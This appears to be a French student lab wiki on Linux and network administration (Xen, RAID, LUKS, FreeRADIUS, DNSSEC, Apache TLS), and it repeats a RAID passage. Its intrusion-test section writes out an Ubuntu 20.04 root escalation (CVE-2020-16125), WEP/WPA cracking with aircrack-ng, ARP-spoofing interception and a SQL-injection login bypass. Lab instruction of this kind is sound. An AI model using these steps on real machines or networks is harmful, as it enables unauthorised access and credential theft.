Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.

Tout d'abord, on installe le paquet mdadm.
apt instal mdadm

Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

On formate notre volume RAID.
mkfs.ext4 /dev/md0

On rajoute cette ligne dans le fstab :
/dev/md0 /raid5 ext4 defaults 0 2

Pour finir, on peuple notre volume RAID.
mkdir /raid5
mount -a
touch /raid5/test

RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.

==Chiffrement de données==

Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes :

fdisk -l # on repère la clé USB
fdisk /dev/sdb # on formate la clé en une seule partition
cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB
cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition
mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4

Ensuite, on monte la clé USB, et on la peuple :

mkdir /mnt/USB
mount -t ext4 /dev/mapper/myusbkey /mnt/USB
touch /mnt/USB/mytestfile.txt

Une fois que l'on a fini, on démonte le système de fichier proprement :

umount /mnt/USB
cryptsetup luksClose myusbkey

==Sécurisation WiFi par WPA2-EAP ==

===FreeRADIUS===

Tout d'abord, on configure le serveur FreeRADIUS sur notre VM.

On installe le paquet :
apt install freeradius

Ensuite, on ajoute un périphérique client (point d'accès WiFi) dans le fichier /etc/freeradius/3.0/clients.conf :

client 10.60.100.10/24 {
shortname = Piedbleu
secret = pasglop
}

On ajoute un utilisateur FreeRADIUS "pifou" dans le fichier de configuration /etc/freeradius/3.0/users :

pifou Cleartext-Password := "pasglop"

Pour finir, on configure l'authentification PEAP-MSCHAPv2.

On modifie le fichier /etc/freeradius/3.0/mods-enabled/eap :

eap{
...
default_eap_type = peap
...
}

Puis on modifie le fichier /etc/freeradius/3.0/mods-enabled/mschap :

use_mppe = yes
require_encryption = yes
require_strong = yes
with_ntdomain_hack = yes

===Point d'accès WiFi===

Ensuite, on configure le point d'accès WiFi.

ssh root@10.60.100.10 -c aes128-cbc

aaa authentication login eap_group1 group radius_group8
radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key pasglop
aaa group server radius radius_group8
server 193.48.57.181 auth-port 1812 acct-port 1813
exit

Mise en place du ssid 'Piedbleu' et intégration dans le vlan 308 :

dot11 ssid Piedbleu
vlan 308
authentication open eap eap_group8
authentication network-eap eap_group8
authentication key-management wpa
Mbssid Guest-mode
exit

Liaison interface wifi dot11radio0 avec le vlan 308 et méthode encryption:

interface Dot11Radio0
Mbssid
encryption vlan 308 mode ciphers aes-ccm tkip
ssid Piedbleu
exit

Encapsulation:

int dot11radio0.8
encapsulation dot1q 308
bridge-group 8
exit
int Gi0.8
encapsulation dot1q 308
bridge-group 8
exit

En n'oubliant pas de démarrer l'interface :

int dot11radio0
no shutdown
end
write

Ping du point d'accès vers notre VM :

[[Fichier:Freeradius-ping.png|600px]]

On observe notre SSID "Piedbleu" :

[[Fichier:Freeradius-ssid.png|600px]]

On s'y connecte avec notre téléphone tout en lançant la commande :

freeradius -X

===DHCP===

'''6509E'''

ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc

ip dhcp pool groupe8
dns 193.48.57.181
network 10.60.108.0 255.255.255.0
default-router 10.60.108.1
exit
ip dhcp excluded-address 10.60.108.0 10.60.108.99
ip dhcp excluded-address 10.60.108.150 10.60.108.255
write
exit
sh ip dhcp binding

'''C9200'''

ssh admin@10.60.100.2

ip dhcp pool groupe8
dns 193.48.57.181
network 10.60.108.0 255.255.255.0
default-router 10.60.108.2
exit
ip dhcp excluded-address 10.60.108.0 10.60.108.49
ip dhcp excluded-address 10.60.108.100 10.60.108.255
exit
write
sh ip dhcp binding

===Mascarade===

'''6509E'''

int vlan 308
ip nat inside

access-list 108 permit ip 10.60.108.0 0.0.0.255 any
ip nat inside source list 108 interface Loopback0 overload

=Ferme de serveurs Web=

==Architecture générale de la ferme==

===Configuration VM Capbreton===

Dans /etc/xen/capbreton.cfg, on ajoute une interface réseau :

vif = [ 'bridge=IMA5sc, mac=00:16:3E:FE:C2:6C',
'bridge=bridgeStudents, mac=00:16:3E:FE:C2:6D',
]

On redémarre ensuite la VM.

Dans /etc/network/interfaces, on configure notre nouvelle interface :

auto eth1
iface eth1 inet static
address 192.168.42.8
netmask 255.255.255.0

Pour finir, dans /etc/apt/apt.conf.d/01proxy on commente la 1ère ligne.

#Acquire::http::Proxy "http://proxy.polytech-lille.fr:3128";

===Configuration VM Chassiron===

Dans /etc/network/interfaces, on configure notre interface :

auto eth0
iface eth0 inet static
address 192.168.42.22
netmask 255.255.255.0
gateway 192.168.42.8

Ensuite, on commente la 1ère ligne de /etc/apt/apt.conf.d/01proxy :

#Acquire::http::Proxy "http://proxy.polytech-lille.fr:3128";

Puis on modifie le fichier /etc/resolv.conf :

domain plil.info
nameserver 192.168.42.8

===Mascarade===

On modifie le fichier /etc/systcl.conf :

net.ipv4.ip_forward=1

Ensuite, on lance les commandes :

apt install iptables-persistent

echo 1 > /proc/sys/net/ipv4/conf/all/forwarding

iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -d 192.168.42.22/32
iptables -A FORWARD -j ACCEPT -s 192.168.42.22/32
iptables -P FORWARD DROP
iptables -t nat -A POSTROUTING -j SNAT --to-source 193.48.57.181 -s 192.168.42.22/32

Pour tester :

ping 192.168.42.22 #sur la VM capreton
ping 192.168.42.8 #sur la VM chassiron
ping 8.8.8.8 #sur la VM chassiron
apt update #sur la VM chassiron

===Clés SSH===

On génère une paire de clés sur notre VM principale via la commande suivante (on fait 3x "entrée") :

ssh-keygen -b 2048

Ensuite, on propage notre clé publique sur toutes les VM secondaires :

for i in $(cat liste_ip.txt); do echo ssh-copy-id root@"$i"; done

Avec liste_ip.txt un fichier texte contenant les IP des VM secondaires.

Attention pour que cela fonctionne, il faut décommenter dans toutes les VM secondaires :

PermitRootLogin yes

dans le fichier /etc/ssh/sshd_config.

===Installation d'Ansible ===

===Ansible rôle MOTD===

Nous souhaitons dans cette partie configurer /etc/motd à l’aide d’ansible sur notre machine
Nous nous inspirons pour cette partie de la documentation d’ansible en ligne.Nous créons notre playbook dans lequel nous faisons le liens entre le rôle en question (configuration de motd) et notre vm secondaire sur chassiron :
fichier playbook.yml

Hosts : vmperso
Roles:
-{ role : adriagalin.motd }

Nous exécutons ensuite notre playbook.yml :
ansible-playbook playbook.yml

Nous obtenir le résultat voulu dans le fichier /etc/motd de notre vm située sur chassiron :

===Ansible rôle NTP===

==Installation de Docker==

Le but de cette partie est d’installer docker sur notre vm secondaire. Nous nous basons sur la documentation de geerlingguy. Après avoir télécharger les fichiers correspondants, nous modifions notre playbook.yml en redéfinissant les variables docker_apt_gpg_key et docker_apt_repository :

[[Fichier:play_docker.png || 600px ]]

==Création du conteneur==

==Configuration des serveurs internes==

==Equilibreur de charge==

TP sysres IMA5sc 2020/2021 G8

2020-12-17T16:18:58Z

Jsoulaim : /* Installation de Docker */

=Informations générales=

{| class="wikitable"
! Site web !! IP publique !! IP privée !! VLAN !! IPV4 !! IPV4 6509-E !! IPV4 C9200 !! IPV4 Routeur !! IPV6
|-
| https://www.piedbleu.site
| 193.48.57.181
| 100.64.0.21
| 308
| 10.60.108.0/24
| 10.60.108.1
| 10.60.108.2
| 10.60.108.254
| 2001:660:4401:60ba::0/64
|}

=Installation de la machine virtuelle Xen=

Tout d'abord, on fait un SSH sur capbreton.

Puis création de la machine virtuelle :

xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force

On renomme les LVM avec lv rename :

lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home
lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var

On obtient (lvdispaly) :

--- Logical volume ---
LV Path /dev/storage/piedbleu-home
LV Name piedbleu-home
VG Name storage
LV UUID UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:12

--- Logical volume ---
LV Path /dev/storage/piedbleu-var
LV Name piedbleu-var
VG Name storage
LV UUID yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:13

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg

Dans la catégorie "Disk device(s)", partie "disk", on ajoute les lignes suivantes :
phy:/dev/storage/piedbleu-home,xvda3,w',
phy:/dev/storage/piedbleu-var,xvda4,w',

Dans la catégorie "Networking", on ajoute :
bridge=IMA5sc

Ensuite, on lance la VM :

xl create -c /etc/xen/piedbleu.cfg

Par la suite, pour accéder à la VM, on fera :

xl console piedbleu

Dans la VM, on formate xvda3, xvda4 en ext 4 :
mkfs.ext4 /dev/xvda3
mkfs.ext4 /dev/xvda4

On modifie le fstab en ajoutant :

/dev/xvda3 /home defaults 0 2
/dev/xvda4 /var defaults 0 2

Et après on les monte :
mount -a

puis on fait un lsblk pour vérifier.

On obtient :

[[Fichier:Lsblk-g8-2021.png|480px]]

=Interconnexion de VLAN=

==Configuration IPv4==

Nous allons dans cette partie configurer notre VLAN personnel (308) sur les deux routeurs (9200 ET 6509-e) à l'aide du protocole VRRP.

'''Routeur C9200'''

Nous nous connectons en ssh à partir de notre VM:
ssh admin@10.60.100.2

ensuite :
int vlan 308
vrrp 48 address-family ipv4
address 10.60.108.254
preempt
vrrpv2
end
write

On quitte avec exit et on sauvegarde avec write.

La commande show vlan nous affiche bien notre VLAN configuré.

'''Routeur 6509-E'''

ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc

int vlan 308
vrrp 48 ip 10.60.108.254
vrrp 48 preempt
vrrp 48 priority 110
end
write

On quitte et on sauvegarde de la même manière. La commande show vlan nous affiche bien notre vlan configuré.

==Configuration IPv6==

'''Routeur 6509-E'''

vlan 308
name piedbleu.site
exit
int vlan 308
no shut
ip address 10.60.108.1 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60ba::/64 eui-64
ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900
ipv6 nd router-preference High
end
write

'''Routeur C9200'''

vlan 308
name piedbleu.site
exit
int vlan 308
no shut
ip address 10.60.108.2 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60ba::/64 eui-64
ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900
ipv6 nd router-preference Low
end
write

=Services Internet=
==Accès à Internet==

Tout d'abord, on configure le fichier /etc/network/interfaces :

# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.181
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.21/24
up ip route add default via 100.64.0.2 src 193.48.57.181
down ip address del dev eth0 100.64.0.21/24
down ip route del default via 100.64.0.2 src 193.48.57.181
iface eth0 inet6 auto

Ensuite, on fait un ssh sur les 2 routeurs, puis:

enable
conf t
ip route 193.48.57.181 255.255.255.255 100.64.0.21
exit
write

On fait un ping pour tester :

ping google.fr

==Serveur SSH==
On modifie le fichier /etc/ssh/sshd_config.
Ensuite on active le serveur ssh :

service ssh start

Puis sur un autre terminal, on fait un :

ssh root@193.48.57.181

==Serveur DNS==

Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante :

Nom de domaine > piedbleu.site > Glue Records
ns1.piedbleu.site
193.48.57.181

Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
1er : ns1.piedbleu.site

Après avoir configuré notre nom de domaine, nous configurons notre serveur DNS sur notre VM.

Nous commençons par installer le paquet bind:

apt install bind9

Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:

'''1ère étape: '''

Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf

name serveur 127.0.0.1

L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine (localhost).

'''2ème étape:'''
Dans le fichier /etc/bind/named.conf.local, nous créons une zone "piedbleu.site" qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :

zone "piedbleu" IN {
type master;
file "/etc/bind/db.piedbleu.site";
allow-transfer { 217.70.177.40; };
};

La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire (ns6.gandi.net, ip:217.70.177.40;).

'''3ème étape:'''
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone "piedbleu.site":

;
; BIND data file for local loopback interface
;
TTL 604800
@ IN SOA ns1.piedbleu.site. root.piedbleu.site. (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.piedbleu.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.181

Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.
Nous ajoutons ensuite nos deux NS (ns1.piedbleu.site et ns6.gandi.net) ainsi que l'adresse du premier NS (ip publique de notre VM) : 193.48.57.181.

Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:

host -t any piedbleu.site

Résultat :

[[Fichier:reponse.png | 600px]]

A présent, nous pouvons configurer le serveur de nom secondaire :
Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
2ème : ns6.gandi.net

==Sécurisation de site web par certificat==

Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.

Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:

@ IN MX 100 ns1.piedbleu.site.

Nous installons ensuite postfix (configuration : "Internet Site", nom du site " piedbleu.site").

Nous ajoutons ensuite l'alias dans le fichier /etc/aliases

admin:root

et nous effectuons la commande :

newaliases

Nous pouvons maintenant envoyer des mails à l'adresse "admin@piedbleu.site". Ces mails sont visibles lorsque l'on tape la commande :

mailx

Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.

Nous devons pour cela générer une demande de signature de certificat. Nous utilisons pour cela la commande suivante:

openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr

-newkey tsa:2048 permet de générer une requête CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.

-keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom "piedbleu.site.key".

-out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom "piedbleu.csr".

À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine "piedbleu.site" pour le Common Name.

Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr.

Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.

On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentré le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaire. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:

/etc/ssl/piedbleu.site.crt
/etc/ssl/GandiStandardSSLCA2.pem

Nous copions aussi notre clé privée dans ce répertoire:

/etc/ssl/piedbleu.site.key

Nous pouvons maintenant passer à la configuration d'apache2 :

Tout d'abord, il est nécessaire d'activer le module SSL d'apache:

a2enmod ssl

Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS (port 443):

<VirtualHost *:80>
ServerAdmin admin@piedbleu.site
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
Redirect permanent / https://www.piedbleu.site/
</VirtualHost>
<VirtualHost 193.48.57.181:443>
ServerName piedbleu.site
ServerAlias www.piedbleu.site
DocumentRoot /var/www/html
CustomLog /var/log/apache2/secure_access.log combined
SSLEngine on
SSLCertificateFile /etc/ssl/piedbleu.site.crt
SSLCertificateKeyFile /etc/ssl/piedbleu.site.key
SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None
</VirtualHost>

La commande :
apachect1 configtest
nous indique bien que la syntaxe est correcte.

Nous devons aussi modifier la configuration de notre DNS (fichier db.piedbleu.site), en rajoutant un enregistrement de type A (address) :

www IN A 193.48.57.181

Pour que les modifications soient prises en compte, nous redémarrons apache2:

service apache2 restart

==Sécurisation du serveur DNS par DNSSEC==

Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:
dnssec-enable yes

Nous souhaitons ensuite générer deux couples de clefs qui serviront pour le chiffrement. Avant cela, nous créons un dossier piedbleu.site.dnssec où seront stockées ces clefs.

Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site

Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site

Nous renommons les deux paires de clefs obtenues de la manière suivante:
Kpiedbleu.site.+005+09001.key -> piedbleu.site-ksk.key
Kpiedbleu.site.+005+09001.private -> piedbleu.site-ksk.private
Kpiedbleu.site.+005+22902.key -> piedbleu.site-zsk.key
Kpiedbleu.site.+005+22902.private -> piedbleu.site-zsk.private

Nous incluons ensuite les deux clefs publiques dans notre fichier de zone:

$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key
$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key

Nous n’oublions pas d'incrémenter le numéro version pour que les modifications soient prises en compte.

On signe ensuite les enregistrements de la zone :
dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk

Pour que le fichier signé soit pris en compte, nous modifions le fichier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed :

zone "piedbleu.site" IN {
type master;
file "/etc/bind/db.piedbleu.site.signed";
allow-transfer { 217.70.177.40; };
};

La dernière étape consiste à faire communiquer la partie publique de la KSK qui est présente dans le fichier piedbleu.site-ksk.key à Gandi.

service bind9 restart

Vérification:

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/

[[Fichier:dnssec1.png | 600px]]

L'utilisation de la commande :
dnssec-verify -o piedbleu.site db.piedbleu.site.signed

nous donne le résultat suivant:
Loading zone 'piedbleu.site' from file 'db.piedbleu.site.signed'
Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
ZSKs: 1 active, 0 stand-by, 0 revoked

==IPv6==

Afin de pouvoir accéder à notre serveur via IPv6, on ajoute ces lignes dans /etc/bind/db.piedbleu.site

ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fefe:c26c
www IN AAAA 2001:660:4401:60b2:216:3eff:fefe:c26c

Ensuite, on resigne le DNS :

dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk

Et on redémarre bind9.

=Tests d’intrusion=

==Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==

Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en '''exclusivité dans le département IMA''' l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai aperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur une machine Linux.

1) J'installe Ubuntu 20.04 dans une VM.

2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...

sudo adduser u1
su u1
id
uid=1001(u1) gid=1001(u1) groupes=1001(u1)

3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant :

ln -s /dev/zero ~/.pam_environment

Puis on va dans Settings > Region and Language > Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande :

top

On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.

kill -SIGSTOP 1098

Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.

rm ~/.pam_environment

Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière-plan après 10 secondes.

nohup bash -c "sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098"

On se déconnecte de notre session.

Le menu "Welcome" de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comptes). Un nouvel utilisateur apparaît sur la machine !

whoami
pwn
id
uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)

'''Explication : '''

En changeant la langue dans "Region and Language", le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.

La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple...

Ensuite, on se déconnecte de notre session en lançant en arrière-plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv->have_existing_user_accounts, qui est : "false". Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.

'''Note 1 : ''' La faille semble avoir été rapidement patchée.

'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège :

accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)

gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)

'''Version du noyau et des parquets : '''
Ubuntu 20.04.1 LTS, kernel 5.6
gdm3, version 3.36.3-0ubuntu0.20.04.1
accountsservice, version 0.6.55-0ubuntu12~20.04.1

''' Source : '''

''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020

https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE

==Cassage de clef WEP d’un point d’accès WiFi==

Nous commençons tout d’abord par installer le paquet aircrack :

apt-get install aircrack-ng

À partir de là, nous listons la liste des interfaces wifi disponibles :

airmon-ng

[[Fichier:screen1.png|600px]]

On remarque que notre carte wifi est désignée par le nom wlp1s0mon.

Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.

airmon-ng start wlp1s0mon

On peut ensuite lancer le scan des réseaux wifi environnants :

airodump-ng --encrypt wep wlp1s0mon

[[Fichier:Screen2.png|600px]]

On repère le point d’accès qui correspond au réseau wifi qui nous intéresse (cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.

On capture ensuite les paquets émis par le point d’accès cible :

airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon

[[Fichier:Screen3.png|600px]]

On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collectés. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :

aircrack-ng -z mon_fichier-01.cap

[[Fichier:Screen4.png|600px]]

On voit que le programme a réussi à trouver la clé (message « Key Found »).

==Cassage de mot de passe WPA-PSK par force brute==

Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).

On lance ensuite le scan des réseaux wifi WPA PSK environnants :

airodump-ng --encrypt wpa-psk wlp1s0mon

[[Fichier:scankracotte.png || 600px]]

Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH (le mode d'authentification), ainsi que l'ESSID.

Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 avec la commande suivante:

airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture

Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.

[[Fichier:Handshake1.png | 600px]]

Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par force brute. Pour cela, nous générons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre.

Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons préalablement installée):

crunch 8 8 -o 12345678 > motdepasse.txt

Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.

Ensuite, nous effectuons l'attaque par force brute avec la commande suivante :

aircrak-ng -a2 -b 00:14:1B:60:8C:22 -w motdepasse.txt *.cap

Comme la méthode force brute prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. Quatre heures plus tard, nous obtenons le mot de passe de la kracotte :

[[Fichier:WPA-6.png|600px]]

==Attaque de type "homme au milieu" par usurpation ARP==

Tout d'abord, on installe dsniff sur l'eepc. Ensuite on le transforme en routeur :

apt install dsniff
export PATH=/sbin:/usr/sbin:$PATH
echo 1 > /proc/sys/net/ipv4/ip_forward

Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur :

arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254

Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).

En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur :

[[Fichier:Mitm-pra.png|600px]]

==Intrusion sur un serveur d’application Web==

Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL :

' OR 1 = 1 --

D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter.

nmap -T4 -A honey.plil.info

On obtient :

[[Fichier:Nmap-g8-2021 1.2.png|600px]]

Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.

De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.

De retour sur la 1ere page, on se connecte sur honey.plil.info avec les identifiants récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.

On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.

On utilise cette découverte pour se connecter sur le serveur en SSH.

Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.

Pour avoir mot de passe en clair, on réalise une attaque par force brute avec dictionnaire.

Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.

Quelques temps plus tard... John the Ripper nous donne le mot de passe root !

Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe "I_was_here_IMA_G8" :

[[Fichier:Hack-honey.png|600px]]

=Réalisations=

==Sécurisation de données : RAID 5 logiciel==

Tout d'abord, on crée 3 partitions virtuelles :

lvcreate -L1G -n piedbleu-raid1 storage

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.

Tout d'abord, on installe le paquet mdadm.
apt instal mdadm

Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

On formate notre volume RAID.
mkfs.ext4 /dev/md0

On rajoute cette ligne dans le fstab :
/dev/md0 /raid5 ext4 defaults 0 2

Pour finir, on peuple notre volume RAID.
mkdir /raid5
mount -a
touch /raid5/test

RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.

